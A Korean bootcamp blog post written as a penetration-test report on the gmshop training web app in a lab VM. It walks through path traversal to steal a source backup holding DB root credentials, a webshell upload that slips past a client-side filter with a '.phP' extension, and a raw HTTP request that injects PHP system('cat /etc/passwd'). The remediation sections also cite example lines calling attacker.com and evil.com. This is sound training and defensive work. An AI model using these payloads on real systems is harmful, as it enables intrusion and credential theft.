이것저것

[SK shieldus Rookies 29기] 25일차 본문

SK Shieldus Rookies 29

[SK shieldus Rookies 29기] 25일차

atfield1988 2025. 12. 15. 18:12

어제는 너무 바빠서 적지 못했던 25일차를 적는다.
수업에서는 그동안 배웠던 내용을 중심으로 gmshop과 test.php을 대상으로 한 모의해킹 시나리오를 구성하고 해당 시나리오에 따라
정보 수집(Information Gathering)->취약점분석(Vulnerability Analysis)->침투 테스트(Pentration Test)-> 실제 공격(Actual Exploit)->보고서 작성(Report) 순으로 수행을 진행할 예정이다.
다만, 현재 시나리오를 작성하기에는 시간이 부족하므로 점검항목 위주로 모의해킹을 수행한 뒤 보고서를 작성할 예정이다.


1. 개요

1.1 모의해킹 정의

본 모의해킹 진단은 웹 서비스의 관련된 모든 정보 자산에 대해 취약점을 도출 / 분석하여 대책을 수립하기 위한 것이다. 시나리오 기반으로 해커와 동일한 환경과 조건, 기술을 가지고 모의 침투를 실행하여 취약점을 발견하고, 발견된 취약점을 점검하여 사전 예방을 통한 보안 현황 확인과 대응 방안 확립을 목적으로 한다.

1.2 수행일정

본 모의해킹은 2025년 12월 11일부터 ~ 2025년 12월 12일까지 약 2일 간 진행된다. Task 별 자세한 일정은 아래 표 1-1와 같다.

날짜 내용
12월 11일(목) 환경분석, 모의해킹 수행
12월 12일(금) 모의해킹 수행, 보고서 작성

표 1-1: 모의해킹 수행 일정

1.3 수행 대상 및 장소

본 모의해킹은 아래 표 1-2의 gmshop 웹 서비스를 대상으로 진단하며, Task별로 해당 대상에 대해 점검을 진행했다.

표 1-2: 모의해킹 수행 범위

구분(Task) 대상 도메인 대상 IP 정보 서비스
웹 애플리케이션 http://192.168.206.128/gm/ 192.168.206.128 gmshop 전자상거래서비스
서버 인프라 bee-box (Virtual Machine) 192.168.206.128 Linux / Apache / MySQL

표 1-3 모의해킹 장애 처리

본 모의해킹은 외부 IP대역에서 진행하였으며, 취약점 점검 수행자의 IP는 담당자에게 사전 전달한다.
점검 수행 시 장애가 발생하면 담당자에게 즉시 보고하게 된다.

구분(Task) 수행자 IP 장소
웹 모의해킹 192.168.206.130 (Kali Linux) 가상환경

1.4. 수행 단계별 방법

본 모의해킹은 단계별로 정보 수집부터 보고서 작성까지 아래 그림 1-1의 과정을 통해 진행된다.

각 수행 단계별 요약 설명은 아래 표 1-5와 같다.

표 1-5: 수행 단계 설명

수행 단계 설명
정보 수집 대상 웹 디렉터리 구조(Gobuster/DirBuster), 불필요한 파일(백업, 테스트 페이지), 시스템 정보(phpinfo) 등 외부에서 파악 가능한 정보 수집 단계
취약점 분석 수집 정보를 기반으로 입력값 검증 미흡(LFI, RCE), 권한 관리 미흡(IDOR), 법적 요구사항 준수 등을 분석해 공격 벡터를 식별하는 단계
침투 테스트 식별된 취약점을 활용해 내부 파일 접근(/etc/passwd), 소스코드 탈취, 웹 셸 실행 등 내부 침투를 시나리오 기반으로 수행하는 단계
실제 공격 검증된 취약점이 실제 비즈니스에 미치는 영향(개인정보 유출, 시스템 장악 등)을 파급도(Impact) 기준으로 분석하는 단계
보고서 작성 도출된 취약점의 상세 분석(PoC), 위험도 평가, 대응 방안 등을 포함한 최종 보고서를 작성하는 단계

1.5. 점검 항목

점검 항목은 OWASP TOP 10, SANS TOP 25, KISA 48대 취약점 항목 등을 기반으로 제작된 취약점 점검 방법론을 이용하여 진행된다.

표 1-6: 점검 항목

순번 분류 코드 점검 항목
1 계정정보 추측 및 대입 AF-001 취약한 패스워드 설정 여부
    AF-002 어플리케이션/장비 기본 패스워드 설정 여부
2 인증 우회 AF-003 쿠키 재사용 (Replay Attack) 여부
    AF-004 중요페이지 세션/인증/접근 체크 여부
    AF-005 클라이언트 인증 우회 여부 (Javascript 우회)
3 파라미터 조작 AF-006 URL 정보 내 파라미터 위·변조 여부
    AF-007 필드 값 조작에 따른 검증 여부
4 XSS (CSRF) 취약점 AF-008 악의적인 스크립트 필터링 여부 (POST)
    AF-009 URL 파라미터 필터링 여부 (GET)
    AF-010 XST, TRACE 옵션 허용 여부
    AF-011 CSRF 취약점 허용 여부
5 에러 메시지 처리 AF-012 에러 메시지를 통한 중요/불필요 정보 유출
6 디렉터리 리스팅 취약점 AF-013 디렉터리 리스팅 여부
7 관리자 페이지 추측 AF-014 페이지 내 관리자 페이지 링크 여부
    AF-015 관리자 페이지 접근 여부
8 페이지 내 중요 정보 노출 AF-016 중요 개인정보 노출 여부
    AF-017 쿠키 값 내 중요정보 유출 여부
    AF-018 데이터베이스 관련 정보 유출 여부
    AF-019 중요정보 평문전송 여부
9 불필요 파일 존재 AF-020 불필요한 페이지 존재 여부
    AF-021 백업/압축 등 불필요 파일 존재 여부
    AF-022 테스트/데모 페이지 삭제 여부
10 파일 다운로드 취약점 AF-023 입력값 검증 미흡으로 인한 파일 다운로드 공격 여부
11 파일 업로드 취약점 AF-024 입력값 검증 미흡으로 인한 파일 업로드 공격 여부
12 부적절한 Include 취약점 AF-025 부적절한 Include 허용 여부
13 URL 강제 호출 AF-026 비인가 페이지 강제 호출 여부
14 SQL Injection AF-027 SQL Injection 허용 여부
15 최신 취약점 미패치 AF-028 보안 취약한 오래된 어플리케이션 사용 여부
16 부적절한 서버 설정 AF-029 서버 보안 설정 여부
17 법적 요구사항 검토 AF-030 개인정보보호법 적절성 여부

1.6 점검 도구

본 모의해킹을 수행하면서 사용되거나 사용가능한 도구는 아래 표와 같다.

표 1-7: 점검 도구

도구 이름 용도 사이트
Nmap 취약점 분석 http://nmap.org/
DirBuster 디렉터리 스캔 http://sourceforge.net/projects/dirbuster/
Nikto 취약점 분석 https://cirt.net/Nikto2
BeEF 침투 테스트 http://BeEFproject.com/
Wireshark 네트워크 패킷 분석 https://www.wireshark.org/
SQLMap SQL Injection 테스트 http://www.sqlmap.org/
BurpSuite 프록시 http://portswigger.net/Burp/
Metasploit 침투 테스트 http://www.metasploit.com
Volatility 메모리 분석 http://www.volatilityfoundation.org/
Nessus 취약점 스캔 http://www.tenable.com/products/nessus
Cain & Abel 패스워드 크랙 http://www.oxid.it/cain.html
SQLGate 데이터베이스 원격 접속 http://www.sqlgate.com/kr/
Paros 프록시 http://sourceforge.net/projects/paros/

2. 결과 요약

2.1 영향도 평가 기준

영향도 평가 기준은 국제적인 취약점 지수 평가 지표인 CVSS(Common Vulnerability Scoring System)를 사용하여 등급을 결정한다. CVSS는 기본(Base), 임시(Temporal), 환경(Environmental)의 3가지 영역에 12개 세부 항목을 가지고 있으며, 본 모의해킹 진단에서는 기본(Base) 6개 항목만을 가지고 평가한다. 점수 범위는 0에서 10까지이며, 점수가 7.0

10.0인 경우의 취약점은 High, 4.0

6.9는 Medium, 0~3.9는 Low로 표시하여 위험도 등급(Rating)을 나타낸다. CVSS 지수 계산은 미국립 표준연구원(NIST) “http://nvd.nist.gov/”에서 확인할 수 있다.

표 2-1: 영향도 평가 기준

영향도 설명
High (H) 외부 노출된 서비스를 통해 내부 네트워크에 침투가 가능하며 개인정보 및 사내 주요 정보가 외부로 유출될 위험이 존재. 또한 비즈니스에 심각한 영향을 초래할 수 있음
Medium (M) 외부 노출된 서비스를 통해 일부 중요 정보가 제한된 환경에서 노출되며, 추가 공격이 가능한 정보가 포함된 상태
Low (L) 서비스에 큰 영향을 미치지 않으며 중요하지 않은 정보만 노출된 상태
None (N) 서비스에 영향을 미치지 않음

영향도 평가 기준은 환경에 따라 변경될 가능성이 있습니다.

총평

본 모의해킹 진단은 gmshop 웹 서비스(192.168.206.128) 및 기반 인프라를 대상으로 수행되었다. 진단 결과, 웹 애플리케이션의 인증 체계, 입력값 검증, 서버 설정 관리, 법적 요구사항 준수 등 전 영역에 걸쳐 다수의 심각한 취약점이 발견되었다.
특히 SQL Injection을 통한 데이터베이스 탈취, 파일 업로드 취약점을 이용한 웹쉘(WebShell) 실행(RCE), 소스코드 백업 파일(gm.zip) 방치 등 시스템을 완전히 장악할 수 있는 최상급(Critical) 위험이 다수 식별되어 즉각적인 조치가 요구된다. 취약점은 아래 표 2-2와 같다.

표 2-2: 모의해킹 진단 내역

취약점 요약 영향도
계정정보 추측 및 대입 단순한 패스워드 설정으로 계정정보 추측 가능 M / 6.4
인증 우회 기본 관리자 계정(admin/admin) 사용 및 세션/쿠키 재사용 취약점으로 관리자 권한 탈취 가능 H / 7.5
파라미터 조작 게시글 수정/삭제 시 권한 검증 미흡으로 타인의 게시물 수정·삭제, 결제 금액 변조 가능 M / 6.5
XSS 취약점 게시판에 악성 스크립트 삽입 가능, 다른 사용자 권한 획득 및 바이러스 배포 가능 H / 10.0
에러 메시지 처리 존재하지 않는 파일 호출 시 불필요한 에러 메시지 노출 M / 5.0
디렉터리 리스팅 디렉터리 리스팅 가능 여부 확인 M / 6.4
관리자 페이지 추측 메인 페이지 내 관리자 로그인 페이지 링크 노출 여부 확인 M / 6.4
페이지 내 중요 정보 노출 HTTPS 미적용으로 패스워드·주민등록번호 등 중요 정보 평문 전송 M / 5.0
불필요한 파일 존재 웹 루트 내 소스코드 압축 파일(gm.zip) 방치 → DB 접속 정보 및 로직 유출 M / 5.0
파일 다운로드 경로 검증 부재로 시스템 파일(/etc/passwd) 및 소스코드 접근 가능 H / 9
파일 업로드 확장자 검증 미흡으로 웹쉘 업로드(b374k.php) 및 원격 명령어 실행 가능 H / 9.8
부적절한 Include 전달값 검증 없이 eval/system 실행 → 원격 코드 실행 가능 H / 9
URL 강제 호출 URL 파라미터를 이용한 비인가 페이지 강제 호출 가능 M / 6.4
SQL Injection 다수 페이지에서 SQL 삽입 가능 → DB(root 포함) 및 회원정보 탈취 가능 H / 10.0
최신 취약점 미패치 Nikto 점검 결과 다수 취약점 및 낮은 버전 사용 취약점 발견 H / 10.0
부적절한 서버 설정 디렉터리 리스팅(/gm/upload), 불필요 테스트 페이지, 취약한 Apache 2.2.8 사용 H / 10.0
법적 요구사항 검토 주민등록번호 불법 수집, 아동(14세 미만) 법정대리인 동의 절차 부재 H / 10.0

2.3 취약점 요약

본 모의해킹 진단 모든 서비스에서 발생한 대상 별 취약점은 영향도 평가 기준인 CVSS에 따라 위험도를 평가했으며, 점검 항목에 따른 전체 웹 서비스 취약점 점수는 아래 그림 2-1과 같다.

그림2-1: 영향도별 취약점 그래프

High (H) | ██████████████████████ (10)
Medium (M) | ██████████████ (7)
Low (L) | (0)
None (N) | (0)

2.3.1 인증 및 세션 관리 미흡

관련 항목: 
AF-001 (취약한 패스워드), AF-002 (기본 패스워드), 
AF-003 (쿠키 재사용), AF-015 (관리자 접근)

관리자 페이지에 기본 계정(admin/admin)이 변경되지 않은 상태로 운영 중이며 , 무차별 대입 공격(Brute Force)을 통해 일반 사용자 계정 탈취가 가능했습니다. 또한, 로그아웃 후에도 세션 쿠키가 만료되지 않아 쿠키 재사용(Replay Attack)을 통해 인증을 우회할 수 있어 계정 도용 위험이 존재합니다

2.3.2 파라미터 조작 및 권한 우회 (IDOR)

관련 항목: BP-005 (클라이언트 우회), BP-006 (파라미터 변조), BP-007 (필드 조작)

게시글 수정/삭제 시 서버 측 권한 검증 없이 클라이언트(JavaScript) 검증에만 의존하거나, URL 파라미터(idx)만을 참조하여 로직을 수행합니다. 이를 악용하여 타인의 게시물을 무단으로 수정/삭제하거나, 결제 과정에서 상품 가격(totalPrice)을 100원으로 변조하는 등 비즈니스 로직을 우회할 수 있습니다

2.3.3 클라이언트 측 스크립트 삽입 (XSS)

관련 항목: BP-008 (Stored XSS), BP-009 (Reflected XSS), BP-017 (쿠키 정보)

게시판 본문 및 검색 기능에서 스크립트 태그에 대한 필터링이 부재합니다. 공격자는 악성 스크립트를 삽입하여(Stored XSS), 해당 게시물을 열람하는 사용자의 세션 쿠키를 탈취할 수 있음을 검증하였습니다.

2.3.4 소스코드 및 중요 정보 노출

관련 항목: BP-021 (백업 파일), BP-013 (디렉터리 리스팅), BP-023 (파일 다운로드), BP-020/022 (불필요 파일)

웹 루트 디렉터리에 전체 소스코드가 포함된 백업 파일(gm.zip)이 방치되어 있어, 이를 다운로드하여 분석한 결과 DB root 계정의 평문 패스워드가 포함된 설정 파일(db_info.php)을 획득하였습니다. 또한, 업로드 디렉터리(/gm/upload)의 리스팅이 허용되어 있고, 파일 다운로드 취약점(LFI)을 통해 시스템 파일 접근이 가능하여 정보 유출 위험이 매우 높습니다.

2.3.5 데이터베이스 유출 (SQL Injection)

관련 항목: BP-027 (SQL Injection), BP-18 (DB 정보 유출), BP-12 (에러 메시지 노출)

로그인, 게시판 검색, 우편번호 검색 등 사용자 입력값이 데이터베이스 쿼리에 사용되는 다수의 지점에서 입력값 검증이 이루어지지 않고 있습니다. Error-based, Union-based, Blind SQL Injection 공격을 통해 DBMS 버전, 테이블 구조(member, admin), 관리자 계정 정보(adminId, adminPwd) 및 전체 회원 데이터를 탈취할 수 있었습니다.

2.3.6 시스템 장악 및 원격 코드 실행

관련 항목: BP-024 (파일 업로드), BP-025 (부적절한 Include/RCE)

게시판의 파일 업로드 기능에서 확장자 검증 로직이 미흡하여(대소문자 구분 부재 .phP), 공격자가 웹쉘(WebShell)을 업로드하고 실행할 수 있는 취약점이 발견되었습니다. 또한, 메일 발송 기능 등에서 사용자 입력값이 적절한 검증 없이 시스템 함수(system, eval 등)로 전달되어 원격 코드 실행(RCE)이 가능함을 확인하였습니다. 이를 통해 공격자는 서버의 제어권을 완전히 탈취할 수 있습니다.

2.3.7 법적 요구사항 및 서버 설정 미흡

관련 항목: BP-030 (컴플라이언스), BP-028 (최신 패치 미흡), BP-029 (서버 설정), BP-019 (평문 전송)

회원가입 시 법적 근거 없이 주민등록번호를 필수 항목으로 수집하고 있으며,
만 14세 미만 아동에 대한 법정대리인 동의 절차가 부재하여 개인정보 보호법을 위반하고 있습니다. 또한, 로그인 및 중요 정보 전송 시 HTTPS 암호화를 적용하지 않아 평문으로 전송되고 있으며, Apache 2.2.8 등 보안 패치가 중단된 구버전 소프트웨어를 사용 중입니다.


3. 상세 수행 내역

3.1 환경 구성

그림3-1: 모의해킹 환경

위 그림 3-1은 본 모의해킹 보고서의 환경 구성이다. 공격 대상서버는 PHP로 구성된 쇼핑몰이며, MySQL을 사용한다. 공격자는 GM 쇼핑몰을 대상으로 다양한 시나리오 공격을 통해 모의해킹을 수행하며, 도출된 취약점을 바탕으로 대응 방안을 적용해본다.

3.2 파일 다운로드 취약점

순번 분류 코드 점검 항목
10 파일 다운로드 취약점 AF-023 입력값 검증 미흡으로 인한 파일 다운로드 공격 여부

표 3-1: 파일 다운로드 취약점 점검 항목

3.2.1 모의해킹 수행

  • 입력 값 검증 미흡으로 파일 다운로드 공격 여부 웹 애플리케이션에서 파일을 다운로드할 때 사용자의 입력 값을 검증하지 않으면, 사용자에게 인가되지 않은 시스템 내부 파일이나 소스코드 등을 다운로드할 수 있는 취약점이다.
  • 특히 다운로드 경로에 ../ (Directory Traversal) 문자에 대한 필터링이 미흡하거나, URL 인코딩된 조작 문자를 서버가 복호화하여 처리할 경우, 웹 루트 상위에 존재하는 중요한 백업 파일이나 설정 파일을 탈취할 수 있다.

그림 3-2: 다운로드 요청 테스트를 위한 대상 파일 식별

공격자는 파일 다운로드 로직의 취약점을 확인하기 위해, 업로드 디렉터리(/gm/upload/bbs/) 내에 존재하는 img.jpg 파일을 테스트 대상으로 선정한다. 이후 해당 파일을 다운로드(접근)할 때 발생하는 요청 패킷을 Burp Suite로 가로채어 분석한다.

그림 3-3: 정상적인 파일 다운로드 요청 패킷 확인


URI 경로를 확인하면 /gm/upload/bbs/img.jpg로 파일의 경로가 URL에 직접 노출되어 있다. 이는 사용자의 입력값(파일명 또는 경로)이 서버의 파일 시스템 경로로 직접 연결됨을 의미한다.

그림 3-4: 웹 서버 내 백업 파일 존재 확인


AF-013(디렉토리 리스팅 취약점)을 통해 웹 애플리케이션의 상위 경로(/gm/)에 전체 소스코드가 포함된 것으로 추정되는 백업 파일 gm.zip이 존재함을 확인하였다. 공격자는 이를 탈취 목표로 설정한다.

그림 3-5: 우회를 위한 URL 경로 조작과 200 OK 응답 및 PK 헤더 확인 화면


조작된 패킷을 전송한 결과, 서버는 HTTP 200 OK 응답을 반환하였다. 응답 데이터(Raw)의 헤더 시그니처가 PK(Zip 파일 매직 넘버)로 시작하는 것을 확인하였으며, 이는 gm.zip 파일이 정상적으로 다운로드되었음을 의미한다.

그림 3-6: 탈취한 백업 파일의 압축 해제 및 소스코드 확인

그림 3-7: 소스코드 확인

다운로드한 백업 파일(gm.zip)의 압축을 해제하여 소스코드를 분석한 결과, db_info.php 파일 내에서 데이터베이스 접속 설정 정보를 발견하였다. 해당 파일에는 데이터베이스의 최고 관리자 권한인 'root' 계정의 아이디와 패스워드가 암호화되지 않은 평문(Plain Text) 형태로 하드코딩되어 있었다. 이를 통해 공격자는 외부에서 데이터베이스에 직접 접속하여 모든 회원 정보 및 데이터를 탈취, 변조, 삭제할 수 있는 치명적인 위험이 존재한다.

3.2.2 취약점 대응 방안

  1. 입력 값 검증 강화

PHP 예시 코드

<?php
// 부적절한 코드
$file = $_GET['file'];
header('Content-Disposition: attachment; filename="'.$file.'"');
readfile('/var/www/downloads/'.$file);
?>

// 올바른 코드
<?php
$allowed_files = array('document.pdf', 'manual.pdf', 'guide.txt');
$file = $_GET['file'];

// 1. 파일명이 화이트리스트에 있는지 확인
if (!in_array($file, $allowed_files)) {
    die('접근할 수 없는 파일입니다.');
}

// 2. Path Traversal 공격 방지
if (strpos($file, '..') !== false || strpos($file, '/') !== false) {
    die('잘못된 파일명입니다.');
}

// 3. 파일 존재 여부 확인
$filepath = '/var/www/downloads/' . basename($file);
if (!file_exists($filepath)) {
    die('파일을 찾을 수 없습니다.');
}

// 4. 파일 다운로드
header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
header('Content-Type: application/octet-stream');
readfile($filepath);
?>
  1. 파일 경로 정규화 (canonicalization)
<?php
$file = $_GET['file'];
$basedir = '/var/www/downloads/';

// realpath()를 사용한 정규화
$filepath = realpath($basedir . $file);

// 정규화된 경로가 basedir 내에 있는지 확인
if ($filepath === false || strpos($filepath, realpath($basedir)) !== 0) {
    die('접근할 수 없는 파일입니다.');
}

readfile($filepath);
?>
  1. 파일 다운로드 함수 개선
<?php
function safe_download($file) {
    // 1. 화이트리스트 검증
    $allowed = array('pdf', 'doc', 'docx', 'txt', 'xls');
    $extension = strtolower(pathinfo($file, PATHINFO_EXTENSION));

    if (!in_array($extension, $allowed)) {
        throw new Exception('허용되지 않는 파일 형식입니다.');
    }

    // 2. 기본 경로 설정
    $basedir = '/var/www/downloads/';
    $filepath = $basedir . basename($file);

    // 3. 파일 존재 여부 확인
    if (!file_exists($filepath) || !is_file($filepath)) {
        throw new Exception('파일을 찾을 수 없습니다.');
    }

    // 4. 파일 다운로드
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Content-Length: '.filesize($filepath));
    readfile($filepath);
    exit;
}

try {
    safe_download($_GET['file']);
} catch (Exception $e) {
    die($e->getMessage());
}
?>
  1. 소스코드 관점의 보안

i. Safe API 사용

  • basename() 함수로 파일명만 추출
  • realpath() 함수로 절대 경로 정규화
  • pathinfo() 함수로 파일 확장자 검증

ii. 입력 검증 규칙

  • 화이트리스트 기반 확장자 검증
  • 파일명에 .. 또는 / 포함 여부 확인
  • 특수문자 필터링
  1. 물리적 대응방안

i. 파일 저장소 분리

  • 다운로드 가능한 파일과 시스템 파일 분리 저장
  • 웹 루트 디렉토리 외부에 다운로드 파일 저장

ii. 파일 권한 설정

  • 다운로드 디렉토리: 755 (읽기만 가능)
  • 상위 디렉토리: 750 (웹 서버 접근 제한)
  • 시스템 파일: 600 (웹 서버 접근 불가)

3.3 파일 업로드 취약점

순번 분류 코드 점검 항목
11 파일 업로드 취약점 AF-024 입력값 검증 미흡으로 인한 파일 업로드 공격 여부
표 3-2 파일 업로드 취약점 점검 항목      

3.3.1 모의해킹 수행

  • 웹 애플리케이션의 게시판, 자료실, 이미지 변경 기능 등에서 파일을 업로드할 때, 파일의 확장자나 내용(Content-Type)에 대한 검증이 미흡할 경우 공격자가 악성 스크립트 파일(Web Shell)을 업로드할 수 있다.
  • 이를 통해 공격자는 웹 서버를 원격에서 제어(Remote Code Execution) 할 수 있으며, 서버 내 모든 중요 정보(소스코드, DB 접속 정보, 시스템 파일 등)를 탈취하거나 변조할 수 있다.

그림 3-8: 파일 업로드 검증 소스코드 확인


게시판의 글쓰기 화면에서 파일 업로드 기능을 확인하였다. 개발자 도구(F12)를 통해 클라이언트 측 검증 함수인 bbsSendit()을 분석한 결과, 자바스크립트를 통해 업로드 파일의 확장자를 검증하고 있음을 확인하였다.

// 취약한 검증 로직 (Client-side Verification)
function bbsSendit()
{
    var form=document.bbsForm;
    if(form.bHtml[2].checked==true)
    {
                alert('웹에디터를 지원하지 않습니다.');        cdiv.gogo();
    }
        attach = form.up_file.value;
    dot = attach.lastIndexOf(".");
    ext = attach.substring(dot);
        if(form.name.value=="")
    {
        alert("이름을 입력해 주십시오.");
        form.name.focus();
    }
    else if(form.title.value=="")
    {
        alert("제목을 입력해 주십시오.");
        form.title.focus();
    }
    else if(form.pwd.value=="")
    {
        alert("비밀번호를 입력해 주십시오.");
        form.pwd.focus();
    }
        else if(filehanCheck(form.up_file.value))
    {
        alert("첨부파일은 영문명으로 등록해 주십시오.");
        form.up_file.focus();
    }
    else if (ext==".php" || ext==".PHP" || ext==".php3" || ext==".htm" || ext==".html" || ext==".HTM" || ext==".HTML")
    {
        alert("PHP,HTML 파일은 보안상 업로드할수 없습니다.");
        form.up_file.focus();
    }
            else
    {
        form.submit();
    }
}

그림 3-9:필터링 우회 시도 (확장자 대소문자 혼용)


공격자는 서버 측 검증이 미흡할 것을 예상하고, 프록시 도구(Burp Suite)를 이용하여 요청 패킷을 변조하거나 파일명을 변경하여 우회를 시도한다. 일반적인 .php 확장자가 필터링되자, 윈도우/리눅스 파일 시스템의 특성이나 검증 로직의 허점을 이용하기 위해 확장자를 .phP (대소문자 혼용) 로 변경하여 업로드를 시도하였다.

  • 변경 전: shell.php (업로드 차단됨)
  • 변경 후: shell.phP (필터링 우회 시도)

그림 3-10: 웹쉘 업로드 성공 화면

검증 로직 우회 결과, shell.phP 파일이 정상적으로 게시판에 등록되었다. 서버는 대소문자를 구분하지 않는 설정이거나, 블랙리스트 방식의 미흡한 필터링을 사용하고 있어 .phP 확장자를 실행 가능한 PHP 스크립트로 인식하였다.

그림 3-11: 웹쉘 실행 및 시스템 명령어 수행


업로드된 경로로 접근하여 웹쉘을 실행한 결과, 악성 스크립트가 정상 동작하였다. 공격자는 이를 통해 ls -al, cat /etc/passwd 등의 시스템 명령어를 실행하여 서버의 파일 시스템을 제어하고 중요 정보를 탈취할 수 있음을 검증하였다.

3.3.2 취약점 대응 방안

파일 업로드 취약점을 근본적으로 차단하기 위해서는 소스코드 레벨의 검증과 서버 설정 강화가 동시에 이루어져야 한다.

  1. 안전한 파일 업로드 구현 (Secure Coding)
  • 화이트리스트(WhiteList) 방식 적용: 허용된 확장자(예: jpg, png) 외에는 모든 업로드를 차단한다.
  • 파일명 난수화: 업로드된 파일을 저장할 때, 사용자가 올린 파일명을 그대로 사용하지 않고 날짜, 시간, 해시값 등을 조합하여 무작위 이름으로 변경하여 저장한다.

PHP 시큐어 코딩 예시

<?php
// 1. 허용된 확장자 정의 (화이트리스트)
$allowed_extensions = array('jpg', 'jpeg', 'png', 'gif');

// 2. 확장자 검출 및 검증
$filename = basename($_FILES["file"]["name"]);
$file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

if (!in_array($file_extension, $allowed_extensions)) {
    die('허용되지 않는 파일 형식입니다.');
}

// 3. 파일명 난수화 (실행 방지 및 덮어쓰기 방지)
$new_filename = md5($filename . time()) . '.' . $file_extension;
$target_dir = "/var/www/uploads/";
$target_file = $target_dir . $new_filename;

// 4. 파일 업로드 수행
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
?>
  1. 파일 내용 검증 (MIME Type & Magic Number)
    확장자만 변조하는 공격을 막기 위해, 파일 헤더(Magic Number)를 검사하여 실제 파일 형식을 확인해야 한다.
<?php
// MIME 타입 및 매직 넘버 검증
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES["file"]["tmp_name"]);
$allowed_mimes = array('image/jpeg', 'image/png', 'image/gif');

if (!in_array($mime_type, $allowed_mimes)) {
    die('파일 내용이 확장자와 일치하지 않습니다.');
}
?>
  1. 업로드 디렉토리 실행 권한 제거 (Server Configuration)
    업 로드된 파일이 저장되는 디렉토리에서는 스크립트(php, asp, jsp 등)가 실행되지 않도록 웹 서버 설정을 변경한다.
    Apache (.htaccess 설정):
    <Directory "/var/www/uploads">
     # 스크립트 실행 엔진 끄기
     php_flag engine off
     # 모든 PHP 확장자 실행 차단
     <FilesMatch "\.(php|phtml|php3|pHp)$">
         Deny from all
     </FilesMatch>
    </Directory>
  • 물리적 조치
    • 업로드 디렉토리의 권한을 755 등으로 설정하고, 파일 실행 권한(x)을 제거한다.
    • 가능하다면 업로드 디렉토리를 웹 루트(Web Root) 외부에 위치시킨다.

3.4 부적절한 Include 취약점

순번 분류 코드 점검 항목
12 부적절한 Include 취약점 AF-025 부적절한 Include 허용 여부

표 3-3: 부적절한 Inlude 취약점 점검 항목

3.4.1 모의해킹 수행

웹 애플리케이션에서 include, require 등의 함수를 사용하여 파일을 동적으로 로딩할 때, 입력 값에 대한 검증이 미흡하면 공격자가 의도하지 않은 파일을 실행시킬 수 있다.

  • LFI (Local File Inclusion): 서버 내부의 시스템 파일(/etc/passwd 등)이나 소스코드를 열람 및 실행할 수 있다.
  • RFI (Remote File Inclusion): 외부의 악성 스크립트(WebShell)를 포함시켜 서버를 장악할 수 있다. 이 취약점은 서버 파일 읽기, 원격 코드 실행(RCE), 시스템 정보 유출 등으로 이어질 수 있다.

그림 3-12: 페이지를 동적으로 불러오는 정상적인 화면


웹 애플리케이션의 URL 파라미터(page, lang, theme 등)를 통해 페이지를 동적으로 호출하는 기능을 식별한다.
예를 들어 http://192.168.206.128/gm/index.php?page=login과 같이 파라미터 값에 따라 다른 파일이 로드되는 지점을 확인한다.

그림 3-13: LFI, RFI 공격 페이로드 전송 및 /etc/passwd 노출 화면


획득한 정보를 분석한 결과, 관리자 권한인 root 외에도 bee(UID 1000) 사용자가 /bin/bash 셸을 사용 중임을 식별하였으며, neo, alice, thor 등 다수의 일반 사용자 계정과 proftpd, mysql, ssh 등 구동 중인 서비스 데몬을 확인하였다. 이는 2차 공격(Brute Force, 서비스 취약점 공격)을 위한 정보로 활용될 수 있다. 공격자가 작성한 임의의 시스템 명령어를 서버 측에서 실행시키는 RCE(Remote Code Execution) 취약점을 발견하였고,직접적인 PHP Code Injection을 통해 시스템 제어권을 획득할 수 있음을 검증하였다.

공격 페이로드

POST /gm/admin/member_sendmail_ok.php HTTP/1.1
Host: 192.168.206.128
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Referer: http://192.168.206.128/gm/admin/mailing_list.php
Cookie: PHPSESSID=8baf1be59a50f896fd1f816d695f0a86
Connection: keep-alive

bHtml=2&HtmlContent=%3C%3Fphp+system%28%27cat+%2Fetc%2Fpasswd%27%29%3B+die%28%29%3B+%3F%3E

3.4.2 취약점 대응 방안

  1. 관리적 대응방안
  • Include 기능 최소화: 동적 파일 로딩 기능의 필요성을 재검토하고, 가능한 한 정적 파일을 사용하도록 구조를 변경한다.
  1. 서버 설정 (Configuration - php.ini) PHP 설정 파일(php.ini)에서 원격 파일 포함 기능을 비활성화하여 RFI 공격을 원천 차단한다.
; RFI 방지 (원격 파일 포함 불가)
allow_url_include = Off

; 외부 파일 열기 제한 (권장)
allow_url_fopen = Off

; 위험한 시스템 함수 비활성화 (쉘 실행 방지)
disable_functions = system,exec,passthru,shell_exec,proc_open

** i. allow_url_include = Off**

PHP의 include, require 함수에서 외부 URL을 통한 파일 포함을 차단하는 설정이다.

  • 차단되는 공격 유형
    • Remote File Inclusion (RFI)
    • 외부 서버의 악성 PHP 코드 실행
include("http://attacker.com/shell.php");
  • 보안 효과
    • 외부 공격자가 서버에서 임의 코드 실행 불가
    • 대부분의 운영 환경에서 필수 보안 설정

ii. allow_url_fopen = Off

fopen( ), file_get_contents () 등 파일 관련 함수에서
URL(http, ftp 등)을 통한 외부 파일 접근을 제한한다.

  • 차단되는 공격 유형
    • 외부 악성 파일 다운로드
    • 내부 정보 유출
    • SSRF 공격과의 연계 가능성 차단
file_get_contents("http://evil.com/malware.php");

iii. disable_functions

운영체제 명령어를 실행할 수 있는 위험한 PHP 시스템 함수들을 비활성화한다.

disable_functions = system,exec,passthru,shell_exec,proc_open
  • 차단되는 공격 유형
    • 웹쉘을 통한 명령어 실행
    • Remote Command Execution (RCE)
    • 서버 장악 시도
system("id");
exec("whoami");
// 실행 자체가 불가능
  • 보안 효과
    • 웹쉘 업로드가 발생하더라도 실제 명령 실행 불가
    • 침해 사고 확산 방지
  1. 소스코드 관점의 보안 (Secure Coding)

웹 애플리케이션에서 발생하는 LFI/RFI 취약점은 서버 설정뿐 아니라 소스코드 차원의 방어 로직 구현을 통해 효과적으로 완화할 수 있다.

i. 화이트리스트(Whitelist) 기반 검증

사용자가 요청할 수 있는 페이지 목록을 사전에 정의하고, 그 외의 모든 요청을 차단하는 방식이다.

  • 허용된 값만 통과 (Allow-list)
  • 예외 처리보다 명시적 허용이 핵심

PHP 예제 코드

<?php
$allowed_pages = array('main', 'about', 'contact', 'faq');
$page = isset($_GET['page']) ? $_GET['page'] : 'main';

// 1. 화이트리스트 검증 (허용된 목록에 없으면 차단)
if (!in_array($page, $allowed_pages)) {
    die('요청한 페이지를 찾을 수 없습니다.');
}

